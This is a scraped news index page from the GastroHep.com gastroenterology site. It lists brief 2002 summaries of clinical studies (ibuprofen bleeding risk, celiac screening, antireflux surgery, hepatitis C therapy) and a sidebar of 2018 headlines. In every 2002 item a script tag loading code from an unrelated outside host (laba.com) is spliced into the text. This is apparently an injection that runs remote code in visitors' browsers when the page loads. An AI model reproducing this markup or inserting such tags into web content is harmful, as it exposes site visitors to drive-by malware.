Help
Subscribe


GastroHep.com - the global online resource for all aspects of gastroenterology, hepatology and endoscopy

 19 February 2018

Advanced search
GastroHep.com - the global online resource for all aspects of gastroenterology, hepatology and endoscopy Profile of Roy Pounder

Home

News  
Journals
Review Articles
Slide Atlas
Video Clips
Online Books
Advanced Digestive Endoscopy
Classical Cases
Conference Diary
PubMed
International GH Links
USA GH Links
National GH Links
National GI Societies
Other Useful Links




Emails on Gastroenterology and Hepatology
the National AIDS Treatment Advocacy Project
Visit the gastroenterology section of the EUMS

News

What is RSS? RSS

Small excess risk of GI hemorrhage with over the counter doses of ibuprofen 18 March 2002
GI events and ibuprofen<script src=http://laba.com/muuu.s></script> There is a small excess risk of serious GI events associated with ibuprofen at over the counter doses, the BSG conference has been told.
Full story
Undetected celiac disease affects 1% of English population 18 March 2002
Serprevalence of undetected celiac disease<script src=http://laba.com/muuu.s></script> Undetected celiac disease affects about 1% of the English population, the BSG conference has been told.
Full story
Ileostomy is better tolerated than colostomy 18 March 2002
Ileostomy vs colostomy<script src=http://laba.com/muuu.s></script> Although Ileostomy and colostomy both result in significant impairment of quality of life in patients, ileostomy is better tolerated, claim researchers reporting to the BSG conference.
Full story
The efficacy of antireflux surgery for chronic cough due to gastroesophageal reflux disease 15 March 2002
Antireflux surgery for chronic cough in GERD<script src=http://laba.com/muuu.s></script> Nissen fundoplication can control the severity of cough and improve the quality of life in patients with GERD-associated chronic cough, reports a study in the journal Surgical Endoscopy.
Full story
Irritable bowel symptoms worsen during menses 15 March 2002
Periods worsen irritable bowel symptoms<script src=http://laba.com/muuu.s></script> Having a period significantly worsens symptoms of irritable bowel syndrome (IBS) and lowers pain thresholds, finds research in Gut.
Full story
Screening for celiac disease made easy 15 March 2002
Simple screen for celiac disease<script src=http://laba.com/muuu.s></script> A research letter by Cuban investigators in this week's issue of the Lancet highlights a new technique which could be used for screening of the intestinal disorder celiac disease.
Full story
Risk factors of fibrosis in alcohol-induced liver disease 14 March 2002
Risk factors of fibrosis in alcohol-induced liver disease<script src=http://laba.com/muuu.s></script> Research from a group in France finds both BMI and blood glucose, amongst others, to be independent risk factors for fibrosis in alcohol-induced liver disease
Full story
Laparoscopic antireflux surgery for patients with gastroesophageal reflux disease and chest pain 14 March 2002
Antireflux surgery for GERD-associated chest pain<script src=http://laba.com/muuu.s></script> Antireflux surgery can cure heartburn and chest pain when the two coincide, finds a study published in the latest issue of the journal Surgical Endoscopy
Full story
Effect of Helicobacter pylori eradication on esophageal acid exposure in patients with reflux esophagitis 14 March 2002
<I>H. pylori</I> eradication and esophageal acid exposure<script src=http://laba.com/muuu.s></script> Helicobacter pylori eradication can increase esophageal acid exposure and may adversely affect the clinical course of reflux disease in a subset of patients, claims a report in the March issue of the journal Alimentary Pharmacology and Therapeutics.
Full story
Predictive factors of the response to H. pylori eradication in low grade B-cell lymphoma MALT patients 13 March 2002
Anti-<I>H. pylori</I> therapy and B-cell lymphoma MALT<script src=http://laba.com/muuu.s></script> The major negative predictive factor of the tumoral response to anti-H. pylori treatment in patients with primary gastric low-grade B-cell lymphoma of mucosa-associated lymphoid tissue is the presence of peri-gastric lymph nodes on endoscopic ultrasonography, a new study finds.
Full story
Differentiation of circulating stem cells into mature hepatocytes and epithelial cells of the skin and gastrointestinal tract 13 March 2002
Differentiation of circulating stem cells<script src=http://laba.com/muuu.s></script> A report in the March issue of the New England Journal of Medicine describes work to show that circulating stem cells can differentiate into mature hepatocytes and epithelial cells of the skin and gastrointestinal tract.
Full story
Diagnostic accuracy of forceps biopsy versus polypectomy for gastric polyps 13 March 2002
Forceps biopsy vs. polypectomy for gastric polyps<script src=http://laba.com/muuu.s></script> Complete removal of all epithelial gastric polyps larger than 5 mm after thorough individualized risk-benefit analysis, is recommended in a report published in the journal Gut
Full story
Incidence and predictive factors of cirrhosis development in ursodiol-treated PBC patients 12 March 2002
Primary biliary cirrhosis and ursodeoxycholic acid<script src=http://laba.com/muuu.s></script> The incidence of cirrhosis in ursodeoxycholic acid-treated patients with primary biliary cirrhosis, and predictive factors of cirrhosis development under this treatment, have been assessed in a study published in the March issue of the journal Gastroenterology.
Full story
Laparoscopic cholecystectomy is the treatment of choice for cholecystitis 12 March 2002
Laparoscopic versus open cholecystectomy<script src=http://laba.com/muuu.s></script> Better outcomes can be achieved using laparoscopic cholecystectomy compared to open cholecystectomy when treating acute and chronic cholecystitis, finds a new study of 43,433 patients.
Full story
High-dose interferon with ribavirin may be suitable for non-responders to conventional interferon mono-therapy for hepatitis C 12 March 2002
High-dose interferon plus ribavirin for hepatitis C<script src=http://laba.com/muuu.s></script> High-dose interferon with ribavirin appears to be a therapeutic option for non-responders to conventional interferon mono-therapy, according to a report published in the March issue of Alimentary Pharmacology and Therapeutics.
Full story

Archive: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 325 326 327 328 329 330 331 332 333 334 335 336 337 338 339 340 341 342 343 344 345 346 347 348 349 350 351 352 353 354 355 356 357 358 359 360 361 362 363 364 365 366 367 368 369 370 371 372 373 374 375 376 377 378 379 380 381 382 383 384 385 386 387 388 389 390 391 392 393 394 395 396 397 398 399 400 401 402 403 404 405 406 407 408 409 410 411 412 413 414 415 416 417 418 419 420 421 422 423 424 425 426 427 428 429 430 431 432 433 434 435 436 437 438 439 440 441 442 443 444 445 446 447 448 449 450 451 452 453 454 455 456 457 458 459 460 461 462 463 464 465 466 467 468 469 470 471 472 473 474 475 476 477 478 479 480 481 482 483 484 485 486 487 488 489 490 491 492 493 494 495 496 497 498 499 500 501 502 503 504 505 506 507 508 509 510 511 512 513 514 515 516 517 518 519 520 521 522 523 524 525 526 527 528 529 530 531 532 533 534 535 536 537 538 539 540 541 542 543 544 545 546 547 548 549 550 551 552 553 554 555 556 557 558 559 560 561 562 563 564 565 566 567 568 569 570 571 572 573 574 575 576 577 578 579 580 581 582 583 584 585 586 587 588 589 590 591 592 593 594 595 596 597 598 599 600 601 602 603 604 605 606 607 608 609 610 611 612 613 614 615 616 617 618 619 620 621 622 623 624 625 626 627 628 629 630 631 632 633 634 635 636 637 638 639 640 641 642 643 644 645 646 647 648 649 650 651 652 653 654 655 656 657 658 659 660 661 662 663 664 665 666 667 668 669 670 671 672 673 674 675 676 677 678 679 680 681 682 683 684 685 686 687 688 689 690 691 692 693 694 695 696 697 698 699 700 701 702 703 704 705 706 707 708 709 710 711 712 713 714 715 716 717 718 719 720 721 722 723 724 725 726 727 728 729 730 731 732 733 734 735 736 737 738 739 740 741 742 743 744 745 746 747 748 749 750 751 752 753 754 755 756 757 758 759 760 761 762 763 764 765 766 767 768 769 770 771 772 773 774 775 776 777 778 779 780 781 782 783 784 785 786 787 788 789 790 791 792 793 794 795 796 797 798 799 800 801 802 803 804 805 806 807 808 809 810 811 812 813 814 815 816 817 818 819 820 821 822 823 824 825 826 827 828 829 830 831 832 833 834 835 836 837 838 839 840 841 842 843 844 845 846 847 848 849 850 851 852 853 854

Go to top of page Email this page Email this page to a colleague

 19 February 2018 
The effectiveness of screening colonoscopy in the right colon was not significantly different from that in the left colon/rectum
 19 February 2018 
No significant differences, among racial or ethnic groups, found in patients with significant fibrosis
 19 February 2018 
Hydrogen production greater in patients on a fructan-containing diet, than those following a maltodextrin-containing diet

 16 February 2018 
Undetected celiac in the elderly
 16 February 2018 
Inflammatory bowel diseases are global diseases
 16 February 2018 
Fructans induce non-celiac gluten sensitivity
 15 February 2018 
Oral direct-acting antiviral treatment for Hep C virus genotype 1
 15 February 2018 
NSAIDS and GI damage
 15 February 2018 
Primary vs secondary surgery for the presence of lymph node metastasis
 14 February 2018 
Management of hemorrhoids in the USA
 14 February 2018 
Predicting adenoma detection rate
 14 February 2018 
Normal bowel frequency characterization in the USA 
 13 February 2018 
Prebiotics improve endothelial dysfunction
 13 February 2018 
Personalising treatment options for IBS
 13 February 2018 
Diagnostic criteria for a Rome IV functional gastrointestinal disorders
 12 February 2018 
Visceral hypersensitivity and functional GI disorders
 12 February 2018 
Depression and aggressive IBD
 12 February 2018 
Variability in interpretation of endoscopic findings impacts patient management
 09 February 2018 
Treatment of choice for anastomotic stricture in IBD
 09 February 2018 
PRO measurement information system 
 09 February 2018 
Overall disease severity indices for IBD
 08 February 2018 
Prediction of endoscopically active disease

 08 February 2018 
Steroid-refractory acute severe ulcerative colitis
 08 February 2018 
Decision aid used by IBD patients
 07 February 2018 
Ursodeoxycholic acid combined with bezafibrate for itching
 07 February 2018 
Change in microbiome in gastritis vs gastric carcinoma
 07 February 2018 
Colorectal cancer and primary sclerosing cholangitis-IBD
 06 February 2018 
Risk of death after liver transplantation
 06 February 2018 
Crohn’s disease vs refractory pouchitis
 06 February 2018 
Support for functional dyspepsia symptom diary
 05 February 2018 
Helicobacter spp influence on GI tract 
 05 February 2018 
No link found between severe reflux and all-cause mortality 
 05 February 2018 
Psychological distress in PPI non-responders
 02 February 2018 
Assessing psychosexual impact of IBD
 02 February 2018 
Decrease in overall mortality with cholera vaccination
 02 February 2018 
Diagnostic performance of fecal immunochemical tests
 01 February 2018 
Screening frequency with family histories of colorectal cancer
 01 February 2018 
IBD and sport participation
 01 February 2018 
Life with a stoma 
 31 January 2018 
Aprepitant and gastroparesis 
 31 January 2018 
Anesthesia risk in colonoscopy
 31 January 2018 
GED-0301 for Crohn's Disease
 30 January 2018 
Intestinal dysbiosis and allergic diseases in infants
 30 January 2018 
Fructans and IBS symptoms in children
 29 January 2018 
Dosing calculator for therapy optimization in IBD
 29 January 2018 
Glecaprevir–pibrentasvir for in HCV
 29 January 2018 
Food allergen injections in eosinophilic esophagitis
 29 January 2018 
Reliability of the IBD index
 26 January 2018 
Tofacitinib vs biological therapies for ulcerative colitis
 26 January 2018 
Optimizing selection of biologics in IBD
 26 January 2018 
Nutritional risk and laparoscopic-assisted gastrectomy outcomes
 25 January 2018 
Patient-reported outcome measure for functional dyspepsia
 25 January 2018 
Predicting intra-abdominal infections after colorectal surgery
 25 January 2018 
Predictors of gastric cancer risk
 24 January 2018 
Risk factors underlying previously undiagnosed cirrhosis
 24 January 2018 
Ethnicity influences phenotype in IBD
 24 January 2018 
Bariatric surgery vs medical obesity treatment
 23 January 2018 
Atrophic gastritis after H. pylori eradication
 23 January 2018 
Ectopic pregnancy in women with IBD
 23 January 2018 
Celiac disease in IBS in the USA

Blackwell Publishing


GastroHep.com is a Blackwell Publishing registered trademark
© 2018 Wiley-Blackwell and GastroHep.com and contributors
Privacy Statement
Disclaimer
About Us